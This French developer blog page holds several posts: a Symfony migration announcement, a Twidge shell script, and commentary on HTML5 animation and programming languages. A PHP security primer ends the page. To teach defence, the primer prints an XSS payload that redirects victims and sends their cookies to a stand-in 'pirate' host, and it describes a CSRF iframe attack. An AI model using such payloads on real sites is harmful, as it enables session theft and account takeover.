Deblan blog

Développement

Symfony te voilà enfin !

Il était temps de passer à autre chose et c'est maintenant fait !

Après quelques années de loyaux services, le moteur de mon ancien blog a été revu et même complètement changé puisque aujourd'hui c'est Symfony 1.4 qui règne ici !

La maintenance du code devenant assez dure et il était temps de reconstruire le blog sur de vraies bases. C'est donc sans grande hésitation que j'ai choisi d'écrire le blog à l'aide du framework php Symfony dans sa version 1.4. Je vois déjà venir les gens qui diront "Mais y'a la version 2 maintenant, il est déjà has been ton code…". De deux choses l'une : je maîtrise Symfony 1.x, je n'aime pas (encore) Symfony 2 :)

Coté frontend, je me suis basé en partie sur le bootstrap Twitter que je vous invite à utiliser tellement c'est trop bien !

Le code sera libéré d'ici quelques jours le temps de faire quelques corrections par ci, par là (notalement le parsing des contenus qui passent encore par les outils que j'utilisais avant).

Il y a encore quelques fonctionnalités qui vont arriver (ou revenir) le temps de les écrire.

Si vous détectez des bugs, c'est avec grand plaisir que je les corrigerai. Le formulaire de contact est à votre disposition.

Voici quelques liens utiles :

A+


Twidge, inverser l'odre d'affichage

Quand on passe une partie de sa journée devant un shell, on aime bien avoir accès à certaines choses sans booter un navigateurs graphique. Du coup, si on est un "twittos", on pourra installer Twidge, un client CLI pour Twitter.

Seulement, on notera deux "problèmes" : des commandes relativement longues et un ordre d'affiche non ergonomique à mon goût. En effet, il affiche les twitts du plus récent au plus ancien, mais quand on est dans un shell, ça oblige à scroller pour visualiser les nouveautés. Pour résoudre un des deux problèmes, il suffit de faire des alias. Pour l'autre, j'ai fais un script assez simple mais efficace.

#!/bin/sh
TMP=/tmp/twitter


if [ -f "$TMP" ]; then
	rm "$TMP"
fi

getRecent() {
	tweets=$(twidge lsrecent | sed 's/\s\s*/ /g;s/^\s\s*//')
	echo "$tweets" | while read line; do
		if [ $(echo "$line" | cut -c 1) = "<" ]; then
			echo -n "\n$line" >> "$TMP"
		else
			echo -n " $line\`" >> "$TMP"
		fi
	done

	F=
	IFS="\`"
	for i in `cat "$TMP"`; do
		if [ ! -z $i ]; then
			F="$i$F"
		fi
	done

	echo "$F" | awk '$O!=""{ print $O"\n"; }'
}

case "$1" in
	ls|lsrecent) getRecent;;
	up|update) twidge update "$2";;
	*) twidge "$1" "$2";;
esac

Pour l'utiliser :

# ici, le script s'exécute via "tw"
prompt> tw ls # affiche les derniers twitts
prompt> tw up <message> # ajoute un twitt
prompt> tw <une commande twidge>

Animations html5 en wysiwyg

Sur mon précédent article, un petit débat a été ouvert concernant Flash.
C'est un langage, ou tout du moins, une technologie que je méprise depuis un moment déjà.

Je ne reviendrai pas sur l'ensemble des arguments qui ont été postés, mais plutôt la partie où nous avons parlé de Javascript et Html 5.

Avec l'avancée des navigateurs sur l'interprétation de Javascript et le développement grandissant des bibliothèques telles que Mootools et JQuery, on est capable aujourd'hui de construire des sites web complexes et proches d'applications desktop.

Cependant, l'animation est parfois complexe à mettre en oeuvre. Bien que les bibliothèques gèrent les différences entre les navigateurs, on est souvent contraint de passer des heures sur un problème à priori simple.

Cela dit, j'ai envie que cela change et je ne suis visiblement pas le seul. Quand on me dit que c'est chiant d'écrire du JS pour animer de manière complexe une page, je répond "oui", mais pour combien de temps encore ?

Adobe est en train de travailler sur un logiciel d'animation wysiwyg pour Javascript et HTML5. Imaginez une timeline et une scène telles que celle de Flash mais qu'au final, seuls du Html et du Javascript soient pondus.

Basé sur JQuery et le moteur de rendu Webkit (Safari & Chrome essentiellement), c'est pour l'instant bluffant.

Quelle sera la qualité du code ? Aucune idée. Est-ce que ça fonctionnera correctement sur Firefox, IE et Opera ? Je ne sais pas. En tout cas, ça à le mérite de commencer à exister.

a vidéo

Edit :

Il semble d'Adobe veuille rapidement passer à autre chose que le Flash. Ils ont présenté un outil pour convertir une animation Flash directement en HTML et Javascript ! Vous pouvez regarder cette vidéo de démonstration.


Un top rank des langages de programmation

Je vais parler brièvement des langages de programmation les plus utilisés cette année et ouvrir une réflexion sur ce qu'il est utile d'apprendre pour être intéressant(e) sur le marché du travail.

Dans le top 3, on a le C, le Java et le C++. Ce n'est pas du tout une surprise. C et Java se font la bourre depuis des années et ils sont les principales demandes dans les annonces pour du boulot.

En 4ème position on retrouve PHP. Très critiqué mais bizarrement très utilisé. Je pense que sa facilité d'utilisation lui donne tout son charme. L'idée qu'un jour Ruby puisse lui voler la vedette n'est plus d'actualité.

Viennent ensuite VB et C#, puis Pyhton et Perl.

Du coup, si demain on me demandait quels langages il serait intéressant d'apprendre pour être concluant sur le marché du travail, je répondrais JAVA, C et PHP.

Java permet de facilement utiliser les technos .NET : basiquement, si tu sais écrire du JAVA, tu sais écrire en C#.

C n'a plus à prouver quoique ce soit et je n'ai certainement pas les compétences pour le critiquer.

En ce qui concerne PHP, il permet à la fois de développer facilement des sites web dynamique mais également de s'interfacer facilement avec le système (en tout cas, sur un GNU/Linux). En plus, il permet d'appréhender rapidement Perl et Ruby.

J'aimerais terminer sur bon gros troll. Action Script et sa misérable 19ème place ne mériterait même pas que j'en parle, mais c'est tellement bon de voir qu'il est loin derrière le podium et que juste devant, se placent des langages dont je n'ai jamais entendu parler.


Les bases de la sécurité sur un site (PHP)

Je vais le faire une fois pour toute et je donnerai le lien quand on me posera encore une fois la question : comment sécuriser correctement son site web ?

Cette question de sécurité est assez difficile à traiter puisque le sujet est vaste. Je parlerai des fondamentaux de la sécurité sur un site web avec php comme moulinette. Évidement, les principes resteront les mêmes (ou presque) quelque soit le langage.

La première règle à se rappeler est que chaque serveur web a (ou peut avoir) des configurations différentes. Ce qui peut être vrai sur OVH ne le sera pas forcément sur 1and1 : les versions de PHP, leur configuration, leurs extensions, etc.
Pour illustrer un peu, je vais donner l'exemple de la conf. des MAGIC_QUOTES. Un jour un mec s'est dit « Tiens, je vais mâcher le boulot des développeurs sans me demander si sur du long terme c'est viable ou pas ». Alors il a décidé que PHP ajouterait, si la configuration le demande, des backslashes devant « " » et « ' » sur les variables $_GET, $_POST, $_COOKIE et $_REQUEST. Cela permet d'éviter (ou presque) certaines injections de code (par exemple SQL). Si sur le serveur A, MAGIC_QUOTES est à on, alors si j'accède à http://A/page.php?foo=bar' et que je fais un :

<p><?php echo $_GET['foo']; ?></p>

J'aurai :

<p>bar\'</p>

Mais si sur un serveur B, cette configuration passe à off, alors j'aurai d'affiché :

<p>bar'</p>

Je ne sais pas combien de développeurs ne font pas gaffe à ça, et en migrant de serveur voit leur site presque sécurisé se faire pirater en 30s chrono !

Une solution est de virer systématique les backslahes ajoutés par leur serveur :

Source : http://fr.php.net/manual/fr/function.get-magic-quotes-gpc.php

<?php

// Strip magic quotes from request data.
if (function_exists('get_magic_quotes_gpc') && get_magic_quotes_gpc()) {
    // Create lamba style unescaping function (for portability)
    $quotes_sybase = strtolower(ini_get('magic_quotes_sybase'));
    $unescape_function = (empty($quotes_sybase) || $quotes_sybase === 'off') ? 'stripslashes($value)' : 'str_replace("\'\'","\'",$value)';
    $stripslashes_deep = create_function('&$value, $fn', '
        if (is_string($value)) {
            $value = ' . $unescape_function . ';
        } else if (is_array($value)) {
            foreach ($value as &$v) $fn($v, $fn);
        }
    ');
   
    // Unescape data
    $stripslashes_deep($_POST, $stripslashes_deep);
    $stripslashes_deep($_GET, $stripslashes_deep);
    $stripslashes_deep($_COOKIE, $stripslashes_deep);
    $stripslashes_deep($_REQUEST, $stripslashes_deep);
}

La deuxième règle d'or est de ne jamais faire confiance aux utilisateurs ! Je suis le premier à bidouiller tout ce que je peux sur un site pour passer les sécurités (avant de contacter le webmaster).

Chaque donnée en provenances des internautes est potentiellement dangereuse.
Il faut donc traiter comme il faut tout ce que vous ne maitrisez encore.

D'une part, si vous affichez des données de ce type, pensez à virer tout les caractères HTML permettant de modifier le DOM de la page (faille XSS). Sur jeuxvideo.com, ce sont 6 failles de ce type qui auraient pues me permettre de faire du vol de cookies de connexion et du Phishing.

Voila un exemple concret : j'ai une page qui affiche la variable $_GET['prenom'] dans mon code :

<?php
if(isset($_GET['prenom'])) {
    echo 'Ton prénom est ', $_GET['prenom'], '.';
}

Ainsi en allant sur http://monsite.com/page.php?prenom=Foo ma page affichera :

Ton prénom est Foo.

Prenons le cas d'un type un peu méchant qui indiquerait
http://monsite.com/page.php?prenom=<script> document.location.href="http://pirate/mechant.php?cookie=" + document.cookie; </script> alors :

Ton prénom est <script>document.location.href="http://pirate/mechant.php?cookie="+document.cookie;</script>.

Si le pirate indique le lien à un utilisateur naïf, il serait alors redirigé vers un serveur pirate qui aurait maintenant accès aux cookies du mec sur le site "monsite.com". Quand il s'agit de cookie d'auto connexion, c'est assez problématique.

Cette technique est aussi utilisée pour injecter du code SQL dans les requêtes mal sécurisées. En googlant un peu, vous trouverez des exemples d'injections SQL. La seule solution vraiment viable est d'utiliser de bons outils, je pense par exemple à PDO qui fait tout pour vous, à condition de l'utiliser correctement : http://fr.php.net/pdo.quote et http://fr.php.net/manual/fr/pdo.prepare.php.

Donc vérifiez systématiquement le type de données envoyées par l'utilisateur : si vous avez une chaine de caractères alors que vous vous attendez à un nombre, ça commence mal. Utilisez les fonctions comme htmlentities() et prenez soit de parser les données avant de les utiliser.

Donc on a vu les injections XSS et SQL, passons maintenant au XSRF qui consiste à faire exécuter une action à un utilisateurs sans qu'il ne s'en rende compte.

Imaginons que vous êtes connecté en administrateur sur votre blog et que pour supprimer des articles, vous avez des liens construits de cette manière : http://monsite.com/administration/supprimer_article?id=XXX. Il suffit alors qu'un mec fasse une bête iframe sur une de ses pages avec cette url comme source et vous invite à la visiter pour qu'il vide votre blog.

Il faut donc faire plusieurs tests qui seront par exemple l'url de référence de la page d'administration. Il faut également utiliser des token qui sont des clés générés par le serveur : ils sont propres au client, aléatoires, in-devinables et utilisables qu'une seule fois. Concrètement, regarder les url dans phpmyadmin pour comprendre ! Pour information, une simple image avec une redirection HTTP dedans permet de faire un XSRF.

Ceci m'amène à une règle essentielle qui est de hashée les données sensibles des utilisateurs : un mot de passe en clair dans une base de données, c'est super dangereux.
Mais ça ne suffit pas. Effectivement, prenons un hash d'un nombre : il me faudra à peu près 5s pour pour le découvrir. Il existe une solution qui consiste à ajouter un SALT. En fait, c'est une chaine de caractère qui sera ajoutée quand on va hasher une donnée. Cette information doit rester évidement confidentielle. L'idée est de bloquer le brute forcing si on a accès à l'ensemble de données hashées d'un utilisateur.

<?php
// Basiquement, au lieu de faire :
$donnee_hashee = fonction_de_hash($donnee);

// on fera :
$salt =  '*@[o|';
$donnee_hashee = fonction_de_hash($salt.$donnee);

Quand il s'agit d'upload de fichier, ne vous fiez jamais à extension mais plutôt à l'entête du fichier. Je peux uploader un fichier .jpg alors que du php est inséré dedans.

Ne donnez pas accès aux dossiers auxquels l'utilisateur n'est pas normalement amené à visiter. Si vous avez des répertoires avec des fichiers de configuration, ajoutez un .htaccess pour bloquez l'accès HTTP. Si vous avez des bases de données SqLite, protégez-les avec un chmod correct et planquez les là ou aucun requêtage HTTP est possible.

Il y a encore un tas d'autres règles simples à s'imposer comme ne pas trop donner trop d'informations dans une erreur. Par exemple, si vous avez un formulaire de connexion et que le couple login/mot de passe n'est pas correct, il ne faut pas indiquer que c'est le login qui est mauvais, ou le mot de passe. Vous éviterez de rendre le brute forcing de votre page trop simple.
Évitez d'indiquer les versions exacts des technologies que vous utilisez (php, cms, etc). Pour peu que vous ne soyez pas à jour (et c'est très mal), il sera enfantin de casser votre système avec une faille connue. Utilisez des outils reconnues avec à la fois de la documentation mais aussi un développement constant. Gardez aussi en mémoire qu'un outil open-source (et pas abandonné) est intéressant pour au moins une raison : le code est ouvert et si il y a des trous de sécurité, ils seront découverts et patchés rapidement.

J'alimenterai ce post quand j'aurai d'autres choses à dire. Si vous avez des choses à ajouter, faites-en moi part en commentaire. J'insiste sur le fait que ce sont des bases de sécurité et qu'il y a encore d'autres choses à faire pour avoir un site bien protégé.